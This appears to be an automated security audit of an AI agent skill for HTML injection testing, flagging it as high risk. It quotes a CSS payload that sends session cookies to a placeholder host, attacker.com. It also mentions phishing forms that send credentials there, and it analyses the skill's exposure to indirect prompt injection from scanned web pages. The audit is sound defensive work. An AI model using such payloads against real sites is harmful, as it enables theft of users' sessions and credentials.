HTML Injection Testing

Fail

Audited by Gen Agent Trust Hub on Nov 1, 2026

Risk Level: HIGHDATA_EXFILTRATIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [DATA_EXFILTRATION]: The skill provides weaponized payloads designed to harvest and exfiltrate sensitive user data to external domains.
  • It includes instructions for exfiltrating session cookies using CSS background URLs: body { background: url('http://attacker.com/track?cookie='+document.cookie) }.
  • It provides functional templates for constructing phishing login forms that redirect captured credentials to an attacker-controlled server (http://attacker.com/capture).
  • It demonstrates techniques for "Hidden credential stealer" attacks using CSS background properties to leak input field values to external URLs.
  • [COMMAND_EXECUTION]: The skill includes executable code and command-line tools for automating the identification and exploitation of vulnerabilities.
  • It provides a Python script utilizing the requests library to perform automated fuzzing of target parameters with various injection payloads.
  • It includes multiple curl command examples intended for testing reflection and verifying successful content injection on remote servers.
  • [INDIRECT_PROMPT_INJECTION]: The skill's automated scanning workflow creates a significant surface for indirect prompt injection from external, untrusted sources.
  • Ingestion points: The included Python script ingest and processes the raw body of HTTP responses from external target servers (response.text).
  • Boundary markers: The instructions lack any boundary markers or specific guidance to ensure the agent ignores potentially malicious or deceptive instructions reflected from a target website during the scanning process.
  • Capability inventory: The skill has access to network operations (Python requests, curl) and file system access (for reporting), which could be manipulated by reflected content.
  • Sanitization: There is no evidence of sanitization, escaping, or validation of the data returned from external targets before it is processed by the script or presented to the agent's context.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Nov 1, 2026, 11:35 PM